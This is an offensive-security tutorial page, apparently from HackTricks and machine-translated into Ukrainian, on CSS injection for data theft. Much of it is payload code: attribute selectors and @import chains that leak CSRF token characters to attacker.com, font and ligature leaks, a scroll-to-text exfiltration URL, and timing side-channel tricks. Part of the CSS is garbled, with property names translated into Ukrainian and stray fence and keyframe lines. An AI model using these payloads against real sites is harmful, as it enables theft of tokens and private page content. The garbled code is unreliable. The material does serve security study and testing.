CSS Injection

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Група з безпеки Try Hard


Впровадження CSS

Селектор атрибутів

Селектори CSS створені для відповідності значень атрибутів name та value елемента input. Якщо значення атрибуту value елемента input починається з певного символу, завантажується попередньо визначений зовнішній ресурс:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Проте цей підхід має обмеження при роботі з прихованими елементами введення (type="hidden"), оскільки приховані елементи не завантажують фони.

Обхід для Прихованих Елементів

Для обходу цього обмеження ви можете вибрати наступний елемент-сусід, використовуючи комбінатор загального сусіда ~. Правило CSS потім застосовується до всіх сусідів, які слідують за прихованим елементом введення, що призводить до завантаження фонового зображення:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Практичний приклад використання цієї техніки детально описаний у наданому уривку коду. Ви можете переглянути його тут.

Передумови для CSS Injection

Для ефективного використання техніки CSS Injection повинні бути виконані певні умови:

  1. Довжина Payload: Вектор CSS ін'єкції повинен підтримувати достатньо довгі дані для вміщення створених селекторів.

  2. Повторна оцінка CSS: Вам слід мати можливість оформити сторінку, що необхідно для спрацювання повторної оцінки CSS з новими згенерованими даними.

  3. Зовнішні ресурси: Техніка передбачає можливість використання зовнішніх зображень. Це може бути обмежено політикою безпеки контенту (CSP) сайту.

Сліпий селектор атрибутів

Як пояснено в цьому пості, можна поєднати селектори :has та :not для ідентифікації вмісту навіть зі сліпих елементів. Це дуже корисно, коли ви не знаєте, що знаходиться всередині сторінки, яка завантажує CSS ін'єкцію. Також можна використовувати ці селектори для вилучення інформації з кількох блоків одного типу, як у:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Поєднуючи це з наступною технікою @import, можливо ексфільтрувати багато інформації, використовуючи внедрення CSS зі сліпих сторінок за допомогою blind-css-exfiltration.

@import

Попередня техніка має деякі недоліки, перевірте вимоги. Вам потрібно або мати можливість надсилати кілька посилань жертві, або мати можливість вбудовувати уразливу сторінку для внедрення CSS у фрейм.

Однак існує ще одна винахідлива техніка, яка використовує CSS @import для покращення якості техніки.

Це вперше показав Pepe Vila і працює наступним чином:

Замість завантаження однієї й тієї ж сторінки з десятками різних навантажень кожного разу (як у попередньому варіанті), ми будемо завантажувати сторінку лише один раз і лише з імпортом на сервер зловмисника (це навантаження для відправлення жертві):

@import url('//attacker.com:5001/start?');
  1. Імпорт отримає деякий CSS-скрипт від зловмисників, і браузер завантажить його.

  2. Перша частина CSS-скрипту, яку зловмисник відправить, - це ще один @import на сервер зловмисника.

  3. Сервер зловмисника ще не відповість на цей запит, оскільки ми хочемо витікати деякі символи, а потім відповісти на цей імпорт з навантаженням, щоб витікати наступні.

  4. Друга і більша частина навантаження буде навантаженням витоку атрибутів вибору.

  5. Це відправить на сервер зловмисника перший символ секрету і останній.

  6. Як тільки сервер зловмисника отримає перший і останній символи секрету, він відповість на імпорт, запитаний на кроці 2.

  7. Відповідь буде точно такою ж, як кроки 2, 3 і 4, але цього разу вона спробує знайти другий символ секрету, а потім передостанній.

Зловмисник буде продовжувати цей цикл, поки не вдасться витікати повністю секрет.

Ви можете знайти оригінальний код Pepe Vila для експлуатації цього тут або ви можете знайти майже той самий код, але з коментарями тут.

Скрипт спробує відкрити 2 символи кожного разу (з початку і з кінця), оскільки селектор атрибутів дозволяє робити такі речі:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Це дозволяє скрипту швидше витікати секрет.

Іноді скрипт неправильно визначає, що префікс + суфікс, виявлені, вже є повним прапорцем, і він продовжуватиме вперед (у префіксі) та назад (у суфіксі), і в певний момент він зупиниться. Не хвилюйтеся, просто перевірте вивід, оскільки ви можете побачити прапор там.

Інші селектори

Інші способи доступу до частин DOM за допомогою селекторів CSS:

  • .class-to-search:nth-child(2): Це знайде другий елемент з класом "class-to-search" в DOM.

  • Селектор :empty: Використовується, наприклад, у цьому описі:

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

Посилання: Атака на основі CSS: Зловживання unicode-range @font-face , PoC помилково заснованого XS-Search від @terjanq

Загальна мета полягає в тому, щоб використовувати власний шрифт з контрольованої точки доступу та забезпечити, що текст (у цьому випадку, 'A') відображається лише цим шрифтом, якщо вказаний ресурс (favicon.ico) не може бути завантажений.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Використання власного шрифту:

    • Власний шрифт визначається за допомогою правила @font-face всередині тегу <style> у розділі <head>.

    • Шрифт має назву poc і завантажується з зовнішнього кінцевого пункту (http://attacker.com/?leak).

    • Властивість unicode-range встановлена на U+0041, спрямовуючи на конкретний символ Юнікоду 'A'.

  2. Елемент об'єкта з резервним текстом:

    • В розділі <body> створений елемент <object> з id="poc0". Цей елемент намагається завантажити ресурс з http://192.168.0.1/favicon.ico.

    • Для цього елемента font-family встановлено на 'poc', як визначено в розділі <style>.

    • Якщо ресурс (favicon.ico) не вдається завантажити, відображається резервний вміст (літера 'A') всередині тегу <object>.

    • Резервний вміст ('A') буде відображено за допомогою власного шрифту poc, якщо зовнішній ресурс не може бути завантажений.

Стилізація фрагменту прокрутки до тексту

Псевдоклас :target використовується для вибору елемента, на який вказує URL-фрагмент, як вказано в специфікації CSS Selectors Level 4. Важливо розуміти, що ::target-text не відповідає жодним елементам, якщо текст не є явно вказаним фрагментом.

Проблема безпеки виникає, коли зловмисники використовують функцію прокрутки до тексту, дозволяючи їм підтвердити наявність певного тексту на веб-сторінці, завантажуючи ресурс зі свого сервера через впровадження HTML. Метод полягає в впровадженні правила CSS, подібного до цього:

:target::before { content : url(target.png) }

У таких сценаріях, якщо текст "Адміністратор" присутній на сторінці, ресурс target.png запитується з сервера, що вказує на наявність тексту. Приклад такого атаки може бути виконаний через спеціально підготовлений URL, який вбудовує впроваджений CSS разом із фрагментом прокрутки до тексту:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Тут атака маніпулює внедренням HTML для передачі CSS-коду, спрямованого на конкретний текст "Адміністратор" через фрагмент прокрутки до тексту (#:~:text=Адміністратор). Якщо текст знайдено, вказаний ресурс завантажується, ненавмисно сигналізуючи про свою присутність зловмиснику.

Для пом'якшення наслідків, слід врахувати наступне:

  1. Обмежене відповідність STTF: Фрагмент прокрутки до тексту (STTF) призначений для відповідності лише словам або реченням, обмежуючи його можливість витікати довільні секрети або токени.

  2. Обмеження на верхні рівні контексту перегляду: STTF працює виключно в контекстах перегляду верхнього рівня і не працює в межах фреймів, що робить будь-яку спробу експлуатації помітнішою для користувача.

  3. Необхідність активації користувача: STTF потребує жесту активації користувача для роботи, що означає, що експлуатація можлива лише через користувацькі навігації, ініційовані користувачем. Це вимога значно пом'якшує ризик автоматизації атак без участі користувача. Тим не менш, автор блогу вказує на конкретні умови та обхідні шляхи (наприклад, соціальний інженерінг, взаємодія з поширеними розширеннями браузера), які можуть спрощувати автоматизацію атаки.

Усвідомлення цих механізмів та потенційних вразливостей є ключовим для забезпечення безпеки веб-сайту та захисту від таких експлуатаційних тактик.

Для отримання додаткової інформації перевірте оригінальний звіт: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Ви можете перевірити експлойт, використовуючи цю техніку для CTF тут.

@font-face / unicode-range

Ви можете вказати зовнішні шрифти для конкретних значень Unicode, які будуть зібрані лише у разі наявності цих значень Unicode на сторінці. Наприклад:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Коли ви звертаєтеся до цієї сторінки, Chrome та Firefox витягують "?A" та "?B", оскільки текстовий вузол sensitive-information містить символи "A" та "B". Але Chrome та Firefox не витягують "?C", оскільки він не містить "C". Це означає, що нам вдалося прочитати "A" та "B".

Витягування текстового вузла (I): лігатури

Посилання: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Техніка, описана включає в себе витягування тексту з вузла шляхом використання лігатур шрифту та відстеження змін у ширині. Процес включає кілька кроків:

  1. Створення власних шрифтів:

  • SVG-шрифти створюються з гліфами, які мають атрибут horiz-adv-x, який встановлює велику ширину для гліфа, що представляє двохсимвольну послідовність.

  • Приклад гліфа SVG: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, де "XY" позначає двохсимвольну послідовність.

  • Ці шрифти потім конвертуються у формат woff за допомогою fontforge.

  1. Виявлення змін у ширині:

  • CSS використовується для того, щоб забезпечити, що текст не переноситься (white-space: nowrap) та налаштувати стиль прокрутки.

  • Поява горизонтальної прокрутки, стилізованої відмінно, діє як індикатор (оракул), що певна лігатура, а отже, певна послідовність символів, присутня в тексті.

  • Використані CSS:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Процес експлуатації:

  • Крок 1: Створюються шрифти для пар символів з великою шириною.

  • Крок 2: Використовується трюк на основі прокрутки, щоб виявити, коли відображається гліф великої ширини (лігатура для пари символів), що вказує на наявність послідовності символів.

  • Крок 3: Після виявлення лігатури створюються нові гліфи, що представляють трьохсимвольні послідовності, включаючи виявлену пару та додавання попереднього або наступного символу.

  • Крок 4: Виконується виявлення трьохсимвольної лігатури.

  • Крок 5: Процес повторюється, поступово розкриваючи весь текст.

  1. Оптимізація:

  • Поточний метод ініціалізації за допомогою <meta refresh=... не є оптимальним.

  • Більш ефективний підхід може включати трюк з CSS @import, покращуючи продуктивність експлойту.

Витягування текстового вузла (II): витік набору символів за допомогою шрифту за замовчуванням (не потребує зовнішніх ресурсів)

Посилання: PoC using Comic Sans by @Cgvwzq & @Terjanq

Цей трюк був опублікований у цьому Slackers thread. Набір символів, використаний у текстовому вузлі, може бути витіканий за допомогою шрифтів за замовчуванням, встановлених у браузері: не потрібні зовнішні - або власні - шрифти.

Концепція полягає в тому, щоб використовувати анімацію для поетапного розширення ширини div, дозволяючи по одному символу переходити з частини "суфіксу" тексту до частини "префіксу". Цей процес ефективно розбиває текст на дві секції:

  1. Префікс: Початковий рядок.

  2. Суфікс: Послідовні рядки.

Етапи переходу символів виглядають наступним чином:

C ADB

CA DB

CAD B

CADB

Під час цього переходу використовується трюк з діапазоном unicode, щоб ідентифікувати кожен новий символ, як він приєднується до префіксу. Це досягається шляхом зміни шрифту на Comic Sans, який помітно вищий за шрифт за замовчуванням, що викликає вертикальну прокрутку. Поява цієї прокрутки опосередковано розкриває наявність нового символу в префіксі.

Хоча цей метод дозволяє виявляти унікальні символи по мірі їх появи, він не вказує, який символ повторюється, лише те, що сталася повторна поява.

Фактично, unicode-range використовується для виявлення символу, але оскільки ми не хочемо завантажувати зовнішній шрифт, нам потрібно знайти інший спосіб. Коли символ знайдено, йому надається встановлений шрифт Comic Sans, який робить символ більшим та запускає прокрутку, яка витікає знайдений символ.

Перевірте код, витягнутий з PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { ширина: 120px }
6% { ширина: 140px }
7% { ширина: 0px }
}

div::-webkit-scrollbar {
фон: синій;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
фон: синій var(--leak);
}

Витік текстового вузла (III): витік кодування зі стандартним шрифтом шляхом приховування елементів (не потребує зовнішніх ресурсів)

Посилання: Це згадується як невдалий варіант у цьому описі

У цьому випадку дуже схоже на попередній, однак у цьому випадку метою роблення певних символів більшими, ніж інші, є приховування чогось, наприклад кнопки, яку не може натиснути бот, або зображення, яке не завантажиться. Таким чином, ми можемо виміряти дію (або відсутність дії) і дізнатися, чи присутній певний символ у тексті.

Витік текстового вузла (III): витік кодування за допомогою кешування часу (не потребує зовнішніх ресурсів)

Посилання: Це згадується як невдалий варіант у цьому описі

У цьому випадку ми можемо спробувати витікати, чи символ є у тексті, завантажуючи фальшивий шрифт з того ж джерела:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Якщо є відповідність, шрифт буде завантажено з /static/bootstrap.min.css?q=1. Хоча він не буде успішно завантажений, браузер повинен кешувати його, і навіть якщо кешу немає, є механізм 304 not modified, тому відповідь повинна бути швидшою ніж інші речі.

Однак, якщо різниця в часі між кешованою відповіддю та некешованою недостатньо велика, це не буде корисним. Наприклад, автор зазначив: Однак, після тестування я виявив, що перша проблема полягає в тому, що швидкість не дуже відрізняється, а друга проблема полягає в тому, що бот використовує прапорець disk-cache-size=1, що дійсно продумано.

Витік текстового вузла (III): витік кодування за допомогою вимірювання завантаження сотень локальних "шрифтів" (не потребує зовнішніх ресурсів)

Посилання: Це згадується як невдалий рішення в цьому описі

У цьому випадку ви можете вказати CSS для завантаження сотень фейкових шрифтів з того ж джерела, коли відбувається відповідність. Таким чином ви можете вимірювати час і дізнатися, чи з'являється символ чи ні за допомогою чогось на зразок:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

І код бота виглядає наступним чином:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Отже, якщо шрифт не відповідає, очікується, що час відповіді при відвідуванні бота становитиме приблизно 30 секунд. Однак, якщо є відповідність шрифту, буде відправлено кілька запитів для отримання шрифту, що призведе до постійної активності мережі. В результаті час на задоволення умови зупинки та отримання відповіді збільшиться. Тому час відповіді може бути використаний як показник для визначення відповідності шрифту.

Посилання

Група з безпеки Try Hard Security

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated